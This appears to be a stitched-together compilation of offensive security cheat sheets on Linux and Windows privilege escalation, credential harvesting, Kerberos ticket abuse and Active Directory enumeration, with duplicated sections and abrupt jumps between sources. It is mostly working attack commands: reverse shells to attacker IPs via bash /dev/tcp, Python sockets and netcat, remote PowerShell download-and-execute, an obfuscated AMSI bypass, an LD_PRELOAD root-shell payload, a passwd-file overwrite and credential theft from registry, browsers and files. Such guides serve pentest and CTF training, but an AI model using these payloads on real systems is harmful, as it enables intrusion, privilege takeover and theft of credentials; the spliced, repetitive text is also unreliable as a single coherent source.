cat /etc/ssh/ssh_host_key
File Systems
Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
What can be found in /var/ ?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
Any settings/files (hidden) on website? Any settings file with database information?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
Is there anything in the log file(s) (Could help with "Local File Includes"!)
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/
If commands are limited, you break out of the "jail" shell?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
How are file-systems mounted?
mount
df -h
Are there any unmounted file-systems?
cat /etc/fstab
What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders
find / -perm -o x -type d 2>/dev/null # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
Any "problem" files? Word-writeable, "nobody" files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
Preparation & Finding Exploit Code
What development tools/languages are installed/supported?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
How can files be uploaded?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
http://www.vulnview.com/cve-details.php?cvename=[CVE]
(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk
http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
Mitigations
Try doing it! Setup a cron job which automates script(s) and/or 3rd party products
Is the system fully patched?
Kernel, operating system, all applications, their plugins and web services
apt-get update && apt-get upgrade
yum update
Are services running with the minimum level of privileges required?
For example, do you need to run MySQL as root?
Scripts Can any of this be automated?!
Nmap is a scanner for network and OS services detection. However, if misconfigured to be used with “sudo” or “administrator” privileges can lead to a privilege escalation.
1. Check what sudo permission the current user has, desired “NOPASSWD”
sudo -l
2. Execute Nmap in interactive mode
sudo nmap --interactive
3. Nmap has been run with “sudo” privileges. Run a shell inside the Nmap interactive prompt
!bash or !sh
whoami
1. Having sticky bit permission I get a root shell using ‘!sh’ and now ‘!bash’ so it is worthy to try different shells.
ls -l /usr/local/bin/nmap
2. Accessing interactive mode we can run the shell
nmap --interactive
!bash
whoami
exit
!sh
whoami
1. In case that “--interactive" is not an option
sudo -l
sudo -u root nmap --interactive
2. We will now try playing with environmental variables
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
3. We now are root
bash
whoami; date; hostname
In order for the technique to work the WebDav service needs to be in running status because the WebDav doesn’t negotiate signing and therefore authentication relays from the current machine account will be allowed.
Enable WebClient Service:
#include <Windows.h>
#include <evntprov.h>
int main()
{
const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =
{ 0x22B6D684, 0xFA63, 0x4578,
{ 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };
REGHANDLE Handle;
bool success = false;
if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,
nullptr, nullptr, &Handle) == ERROR_SUCCESS)
{
EVENT_DESCRIPTOR desc;
EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);
success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;
EventUnregister(Handle);
}
return success;
}
The above process can be conducted directly from Impacket by utilizing the “getST” python utility. Compare to Rubeus the tool doesn’t need to hash value of the machine account password but the plain-text. A service ticket can be requested by executing the following command:
getST.py -spn cifs/hive.purple.lab purple.lab/Desktop-Pentestlab\$ -impersonate administrator
The ticket will be saved as .ccache in the current working directory.
Convert Ticket:
The final ticket granting ticket (TGT) from Rubeus are based64 encoded. In order to be used for Kerberos authentication the ticket needs to be in .ccache format. Executing the following command will decode the ticket and write the output into a .kirbi file.
echo "base64" | base64 -d > admin.kirbi
Impacket contains a python utility which can convert Kerberos tickets that have the .kirbi extension to .ccache.
ticketConverter.py /home/kali/admin.kirbi admin.ccache
Access via Kerberos Authentication
Obtaining a ticket which belongs to an administrator account means that it could be used to access the target service from an elevated point of view. Both “wmiexec” and “psexec” from Impacket support Kerberos authentication and therefore could be utilized to access the host as Administrator or SYSTEM completing the privilege escalation scenario.
wmiexec.py -k -no-pass purple.lab/administrator@hive.purple.lab
Executing “psexec” will create a service on the target host and it is not considered opsec safe. However it could be executed by specifying the administrator account and the target host with the “-k” and “-no-pass” flags to use Kerberos authentication.
psexec.py -k -no-pass purple.lab/administrator@hive.purple.lab
Let’s try to view the OS Release of the lab machine. By executing:
$ lsb_release -a
We can also see the Kernel Version:
$ uname -a
We first move to the tmp directory which we will be able to create a file, paste the exploit code and then compile it.
The commands we should run are:
$ cd /tmp
$ touch exploit.c
$ vim exploit.c
Then, we should paste the exploit code inside the file, save and exit. Now, we have to compile the exploit. To do this we run:
$ gcc exploit.c -o exploit
And now we only have to execute the exploit file to see if our exploit works. By running:
$ ./exploit
The python command you can see was used to get a proper shell. The command used:
$ python -c ‘import pty; pty.spawn(“/bin/bash”)’
As we can see, we can execute shell commands by typing “!” followed by the command we would like to execute. Thus, the: “!sh” command should normally pop a shell. And as nmap has the SUID flags, we should normally get a root shell.
Linux Privilege Escalation with Setuid and Nmap
I was specifically looking for executable files where the setuid parameter was marked and where the owner was root. This essentially means when the program is executed it is executed in the permission of the owner of the file (where the EUID, the Effective User ID is root), in this case root. We would look for these types of file with the below find command:
find / -user root -perm -4000 -exec ls -la {} \;
nmap --interactive
nmap> !whoami
!whoami
root
waiting to reap child : No child processes
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
#
Most common techniques for privilege escalation in Linux environments:
Method #1: Find setuids. Fortunately, Metasploit has a Meterpreter script, getsystem, that will use a number of different techniques to attempt to gain … Linux Privilege Escalation Methods. Windows Local Privilege Escalation. The types of Privilege Escalation attacks can be broadly categorized into:
Horizontal Privilege Escalation.
This escalation attack allows attackers to easily elevate their privilege to that of a Domain Admin once they compromise a regular user in the domain,”Look for any of those using find command: find / -perm -4000 -ls 2> /dev/null
Most common techniques for privilege escalation in Linux environments:
Method #1: Find setuids.
Metasploit’s “Service Trusted Path Privilege Escalation” exploit takes advantage of unquoted service paths vulnerability outline in CVE-2005-1185, CVE=2005-2938 and CVE-2000-1128. VMware has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 7.8 . Adapt - Customize the exploit, so it fits. Become command-line options.
0. Prepare your payload root.service
[Unit]
Description=roooooooooot
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'
[Install]
WantedBy=multi-user.target
1. Find a files/directories that writable
find / -type f -maxdepth 2 -writable
or
find / -type d -maxdepth 2 -writable
2. Transfter the payload(Or just write file there using vi)
Init the target listening the port
nc -vl 44444 > root.service
Send file to traget
nc -n TargetIP 44444 < root.service
3. Start listening on the 9999
nc -lvnp 9999
4. Execute the payload(assume the file is under /dev/shm)
/bin/systemctl enable /dev/shm/root.service
Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /dev/shm/root.service
Created symlink from /etc/systemd/system/root.service -> /dev/shm/root.service
/bin/systemctl start root
5. The nc listening on 9999 would give you the root
Linux Privilege Escalation:
Automated Tooling
1. Linpeas.sh (my go-to, fully automated)
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
2. Linprivchecker.py (my backup)
https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py
3. Linux-Exploit-Suggest-2.pl (To look for those sneaky little Kernel Exploits)
https://github.com/jondonas/linux-exploit-suggester-2
Resources
1. The Holy Grail
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
2. My Second Favorite Guide
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_inux.html__
3. GTFOBins (The most comprehensive binary privesc guide)
https://gtfobins.github.io/
Permissive Root Script If a cron job is running a script as root, determine what the script is doing. If you have full permission to edit the script, you’re golden. Note: the » in the one-liner echo represents overwriting the file.
Two of my favorite examples:
Python One-Liner
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> test.py
Bash One-Liner (If the script is a .sh)
echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.10 7242 > /tmp/f" >> monitor.sh
Now set up a listener on the defined port, and wait for the script to run.
LD_Preload In some circumstances, you may be able to abuse certain services that run via LD_Preload.
Run:
sudo -l
If env_keep+=LD+PRELOAD is seen:
Make a C script named “shell” or whatever you want
nano shell.c
Compile the shell
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
Take a look at what system services are being preloaded, for instance, if you see apache2 then you would do a sudo preload for apache2, escalating your current shell to a root level shell
sudo LD_PRELOAD=/home/user/shell.so apache2
Bash SUID This one absolutely blew my mind, I used it recently. If you find a private SSH Key, and you can log in with it: Check for a Bash SUID. If you have it, you might be able to escalate during authentication!
ssh -i id_rsa user@ip bash -p
Linux Privilege Escalation: Quick and Dirty
A quick and dirty Linux Privilege Escalation cheat sheet. I have utilized all of these privilege escalation techniques at least once.
Published on Aug 10, 2020
Reading time: 4 minutes.
Linux Privilege Escalation: Quick and Dirty
Automated Tooling
Usually, my approach is to use an automated tool in conjunction with some manual enumeration. However, you can completely accomplish the Privilege Escalation process from an automated tool paired with the right exploitation methodology.
1. Linpeas.sh (my go-to, fully automated)
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
2. Linprivchecker.py (my backup)
https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py
3. Linux-Exploit-Suggest-2.pl (To look for those sneaky little Kernel Exploits)
https://github.com/jondonas/linux-exploit-suggester-2
Resources
Keep in mind, that these are just some of the techniques I have used. You’ll find that some of the existing Linux Privilege escalation guides are much more comprehensive:
1. The Holy Grail
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
2. My Second Favorite Guide
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_inux.html__
3. GTFOBins (The most comprehensive binary privesc guide)
https://gtfobins.github.io/
Techniques
God Mode
history
I know, seems crazy, the history command? Why? Well, I’ve successfully performed privilege escalation from finding hints or credentials in the user’s history.
Capabilities
If there’s a capability that has a setuid+ep, the command might be able to be abused
Example:
/usr/bin/python2.6 = capsetuid+ep
For instance, I used this cheat sheet for capability exploits
ref: https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/
Changing WordPress Password via MySQL DB I came across a situation in which taking over the WordPress website was essentially in the privilege escalation process due to versioning.
Find MySQL credentials
Connect to the Localhost Database
mysql -h localhost -u user -p
Authenticate using the credentials you found
Select the database that has the credentials table
USE databasename;
Change the admin password or user’s password that you have access to
UPDATE wp_users SET user_pass=PASSWORD('P@ssw0rd123!') WHERE user_login='wpadmin';
KEY: wp_users is the table, SET is for the user password field in the table, and where is for the user login field within the table.
Permissive Root Script If a cron job is running a script as root, determine what the script is doing. If you have full permission to edit the script, you’re golden. Note: the » in the one-liner echo represents overwriting the file.
Two of my favorite examples:
Python One-Liner
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> test.py
Bash One-Liner (If the script is a .sh)
echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.10 7242 > /tmp/f" >> monitor.sh
Now set up a listener on the defined port, and wait for the script to run.
LD_Preload In some circumstances, you may be able to abuse certain services that run via LD_Preload.
Run:
sudo -l
If env_keep+=LD+PRELOAD is seen:
Make a C script named “shell” or whatever you want
nano shell.c
Place the following code in the script:
```
\#include <stdio.h>
\#include <sys/types.h>
\#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```
Compile the shell
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
Take a look at what system services are being preloaded, for instance, if you see apache2 then you would do a sudo preload for apache2, escalating your current shell to a root level shell
sudo LD_PRELOAD=/home/user/shell.so apache2
Bash SUID This one absolutely blew my mind, I used it recently. If you find a private SSH Key, and you can log in with it: Check for a Bash SUID. If you have it, you might be able to escalate during authentication!
ssh -i id_rsa user@ip bash -p
Lua Privilege Escalation This is another one of those strange one-off scenarios. I had a script that allowed me to drop into a little command prompt and run different commands as root (but most of them would just print the word “nil”). I had no idea what was happening. After a little research, I found out that nil was Lua’s version of null (basically the error was telling me that it was attempting to use Lua commands but the commands used did not exist) and the prompt I was using was some sort of Lua Script. Jokingly, I typed the following:
os.execute('/bin/sh')
I was root!!
Sudo Bypass
I noticed the following entry [(ALL, !root) /bin/bash)] upon running:
sudo -l
I had root permissions to run bash, an obvious win! Attempting to run it as the root user would not work. A quick google search helped me understand that it was a Sudo Privilege Escalation bypass:
sudo -u#-1 /bin/bash
Tar SUID
If you find a Tar SUID assigned to your current user, it’s an easy win:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
TMUX Session Running as Root
I cannot express how many times this one has been overlooked. I’ve legitimately exploited 5+ systems in CTF-Like environments with this gem. If you see a TMUX session running as root, look at the path. Typically, I’ve seen the session running under /.devs/dev_sess
This can be identified using:
ps -aux | grep tmux
If you see that, and a session is active as the root user, attempt an easy win:
tmux -S /.devs/dev_sess
If it works, check your privs! You might just be root.
NMAP SUID
Yes, another exceedingly simple win:
nmap --interactive
!sh
Systemctl SUID
Identifying this beauty represents yet another win
Run each one of these commands in order:
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF
Copy SUID
Noticing the ‘cp’ command with SUID assigned to your user account could allow you to overwrite the passwd file of the victim system, giving yourself root permissions:
Open up a terminal in your attacking machine, create a salted password:
openssl passwd -1 -salt roflroot pass123
Copy your attacking machine local passwd file to have something to edit:
cp /etc/passwd /root/Exploits
Host HTTP Server:
python -m SimpleHTTPServer 8000
Navigate to /tmp directory on the victim host machine or somewhere you have write permissions and download the passwd file:
wget http://192.168.119.221:8000/passwd
Copy passwd file to /etc/passwd:
cp passwd /etc/passwd
Switch to your created user:
su roflroot
Windows Privilege Escalation – Credentials Harvesting
Windows systems and applications often store clear text, encoded or hashed credentials in files, registry keys or in memory.
When gaining initial access to a Windows machine and performing privilege escalation enumeration steps, often passwords can be found through these means and they can be used to further escalate privileges.
Finding passwords in files:
One of the first things to do is to search for files containing the “password” string as this could help in identifying hidden credentials:
findstr /si password *.xml *.ini *.txt *.config 2>nul
cd C:\ & findstr /SI /M “password” *.xml *.ini *.txt
findstr /spin “password” *.*
Check .config or other interesting file types for those strings
dir /s *pass* == *cred* == *vnc* == *.config*
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Older versions of windows, when performing unattended installations, used text files to store answers to questions that come up during the installation process, some of which contained clear text credentials:
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Additionally, the Windows.old directory may contain sensitive files, such as registry hives, that could be storing passwords
VNC Credentials
VNC is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol to remotely control another computer. This protocol often stored clear-text user credentials in text files:
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
Credentials Stored in the Registry
The Windows registry often stores clear-text or encoded passwords used by various applications. Below are a few examples:
reg query “HKLM\SYSTEM\Current\ControlSet\Services\SNMP”
reg query “HKCU\Software\ORL\WinVNC3\Password”
reg query “HKCU\Software\TightVNC\Server”
reg query “HKCU\Software\OpenSSH\Agent\Key”
reg query “HKCU\Software\SimonTatham\PuTTY\Sessions”
reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon”
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Check for SAM and SYSTEM files access
The Security Account Manager application is used to securely store users’ encrypted passwords using encryption. They are stored in a registry hive as a LM or NTLM hash. They can be stored in the following keys:
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Common Web Configuration Files
Web applications might store clear-text or encoded credentials in text files. The Inetpub folder is the default folder for Microsoft IIS and if present, it is likely to contain confidentials information. Some example commands are:
dir /a C:\inetpub\
dir /s web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
Web Logs
Apache, Tomcat and IIS have logs that are used to store user access to a web application and any errors that may have occurred in the web application.
These are usually store in these locations:
dir /s access.log error.log
C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
Cached & Saved Credentials
Windows often uses applications such as the Windows Vault to store login credentials for servers and sites.
Cmdkey is a command used to create/list/delete stored user names, passwords or credentials. The below can be used to list saved credentials:
cmdkey /list
Once verifying that credentials are stored in the system, the runas command can be used with the /savecred flag to execute commands as another user using the saved credentials:
runas /savecred /user:WORKGROUP\Administrator “\\10.10.10.10\SHARE\evil.exe”
runas can also be used by providing user credentials:
• C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> “c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe”
or
• $ secpasswd = ConvertTo-SecureString “<password>” -AsPlainText -Force
• $ mycreds = New-Object System.Management.Automation.PSCredential (“<user>”, $secpasswd)
• $ computer = “<hostname>” [System.Diagnostics.Process]::Start(“C:\users\public\nc.exe”,”<attacker_ip> 4444 -e cmd.exe”, $mycreds.Username, $mycreds.Password, $computer)
Windows Credential Store
The Windows Credential Store is a feature of Windows that saves usernames, passwords, and certificates for systems, websites, and servers.
information is stored.
The Credential Manager stores two types of credentials: Web and Windows. There are two PowerShell scripts that can help harvest this data:Gathering
Web Credentials:
https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1
Windows Credentials
https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1
Group Policy Preferences (GPP Passwords)
If the box is part of a domain and the current user user has access to read System Volume Information, this can help find passwords stored in files.
Start by checking the environment variables for the IP-address of the domain controller. Output environment-variables with the following:
LOGONSERVER=\\NAMEOFSERVER
USERDNSDOMAIN=WHATEVER.LOCAL
Then look up the IP-address
nslookup nameofserver.whatever.local
Mount the volume and search for the groups.xml file
net use z: \\192.168.1.101\SYSVOL
z:
dir Groups.xml /s
Otherwise, these can be found in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history, by looking for:
Groups.xml
Services.xml
Scheduledtasks.xml
DataSources.xml
Printers.xml
Drives.xml
The next step is decrypt the passowrds using the gpp-decrypt tool.
You can also do this with PowerView and the Get-GPPPpassword script.
Using Powershell to load them into memory:
IEX(New-Object Net.WebClient).DownloadString(“http://10.0.0.100/Get-GPPPassword.ps1″)
IEX(New-Object Net.WebClient).DownloadString(“http://10.0.0.100/powerview.ps1″)
Then run the Get-GPPPassword tool and feed any listed passwords to PowerView. This will check any found credentials against other machines.
Get-NetOU -GUID “{4C86DD57-4040-41CD-B163-58F208A26623}” | %{ Get-NetComputer -ADSPath $_ }
Visit https://www.toshellandback.com/2015/08/30/gpp/ for more info.
Services and Applications Storing Credentials
Applications that are used to access systems or services remotely such as Remmina/PuTTY, RDP, Filezilla etc often store passwords in memory or in files. These can be retrieved using SessionGopher:
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\stef -p password
Lazagne can also be used to exctract credentials from many applications.
Credentials Stored in Browsers
Browsers such as Google Chrome, Firefox, Microsoft Edge etc. can often store passwords when authentication to a website is performed. Lazagne is an open source application used to retrieve passwords stored on a local computer, and one of its many functions is to retrieve passwords stored in internet browsers.
Command Description
laZagne.exe all Launch all modules
laZagne.exe browsers Launch only a specific module
laZagne.exe browsers -firefox Launch a specific software script
laZagne.exe -h
laZagne.exe browsers -h Get help
laZagne.exe all -vv Change verbosity mode (2 different levels)
Additionally, the following Metasploit modules can also be used:
use post/window/gather/enum_chrome
use post/window/gather/enum_firefox
use post/window/gather/enum_ie
Saved RDP Connections
RDP has the ability to save connection information (such as passwords) in the registry. They can be found at the following registry keys:
HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\
HKCU\Software\Microsoft\Terminal Server Client\Servers\
Powershell Command History
Commands executed using powershell are stored in a history file (similar to the .bash_history file in linux), if clear-text credentials were entered when issuing a command, this could be exploited by accessing the history file:
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
Wi-Fi Credentials
Command Description
netsh wlan show profile List available AP SSID
netsh wlan show profile <SSID> key=clear Get the clear-text password use
cls & echo. & for /f “tokens=4 delims=: ” %a in (‘netsh wlan show profiles ^| find “Profile “‘) do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr “SSID Cipher Content” | find /v “Number” & echo.) & @echo on
Additional Metasploit Modules
There are certain Metasploit modules that aim at to find clear-text or encoded credentials in a target system:
use post/windows/gather/credentials/gpp
use post/windows/gather/credential_collector
use post/window/gather/enum_chrome
use post/window/gather/enum_firefox
use post/window/gather/enum_ie
use post/multi/gather/filezilla_client_cred
use post/multi/gather/firefox_creds
use post/multi/gather/irssi_creds
use post/multi/gather/lastpass_creds
use post/multi/gather/maven_creds
use post/multi/gather/netrc_creds
use post/multi/gather/pidgin_cred
use post/multi/gather/rsyncd_creds
use post/multi/gather/ssh_creds
use post/multi/gather/thunderbird_creds
Automated enumeration scripts will also perform credential harvesting although it’s always best to do this manually.
credentialsguideHackingpasswordPenetration TestingPentestingpowershellPrivilege EscalationWindows
There is one more shortcut which you can use when you have access to vim, you can use the following command to trigger the root shell using vim.
sudo vi -c '!bash'
Vim is a very versatile text editor which have many awesome functionalities including the ability to open a shell inside it.
So, to open vim as root we can use the following command.
sudo vi test.sh
As soon as you will execute it, vi window will open, now you need to switch into the command mode you can do that by pressing ESC key.
In command mode, use :!bash command this will open a root shell.
There is one more shortcut which you can use when you have access to vim, you can use the following command to trigger the root shell using vim.
sudo vi -c '!bash'
Domain Enumeration:
Enumerate Domain:
− Users − Computers − Domain Administrators − Enterprise Administrators − Shares
Script Bypass: powershell -ep bypass
Bypass amsi: sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."AssEmbly"."GETTYPe"(( "{6}{3}{1}{4}{2}{0}{5}" - f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."getfiElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sETVaLUE"( ${nULl},${tRuE} )
Powerview: . .\PowerView.ps1
Get-NetUser
List property of all users,
Get-NetUser | select -ExpandProperty samaccountname
Enumerate member computers
Get-NetComputer
Attributes of Domain Admin Group
Get-NetGroup -GroupName "Domain Admins" -FullData
Enumerate members of Domain Admin Group:
Get-NetGroupMember -GroupName "Domain Admins"
Enumerate members of Enterprise Group:
Get-NetGroupMember -GroupName "Enterprise Admins"
Get-NetGroupMember -GroupName "Enterprise Admins" –Domain xxxx.local
Find Interesting Shares:
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC –Verbose
ENUMERATING GPO & ENUMERATE RESTRICTED GROUPS from GPO:
Get-NetGPOGroup -Verbose
Look for memberships of the Group "RDPUsers"
Get-NetGroupMember -GroupName RDPUsers
List all the OUs:
Get-NetOU
List all computers in specific OU:
Get-NetOU LockedMachines | %{Get-NetComputer -ADSPath $_}
List GPOs:
Get-NetGPO
Enumerate GPO applied in specific OU:
Get-NetOU LockedMachines -FullData).gplink [LDAP://cn={3E04167E-C2B6-4A9A8FC811158DC97C},cn=policies,cn=system,DC=lockedcorp,DC=lockedcorp
,DC=local;0]
Get-NetGPO -ADSpath 'LDAP://cn={3E04167E-C2B6-4A9A-8FB7-C811158DC97C},cn=policies,cn=system,DC=lockedcorp,DC=lockedcorp,DC=local'
ENUMERATING ACLS
Enumerate ACLs with Powerview
Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs -Verbose
Enumerate ACLs of Domain Admin Group
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs - Verbose
Enumerate ACLs for all GPOs:
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
Enumerate GPO for user or RDPUser group
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $.Name} ?{$.IdentityReference -match "user"}
Check for modify rights/persmissions
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference - match "student"}
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference - match "RDPUsers"}
ENUMERATE TRUSTS:
Enumerate ALL domains
Get-NetForestDomain -Verbose
Map the trusts of the domain:
Get-NetDomainTrust
Map all trusts to forest:
Get-NetForestDomain -Verbose | Get-NetDomainTrust
List only external trusts
Get-NetForestDomain -Verbose | Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}
Identify external trusts of domain
Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}
If Bi-directional trust try and extract info from forest:
Get-NetForestDomain -Forest lockercorp.local -Verbose | Get- NetDomainTrust
# Basics
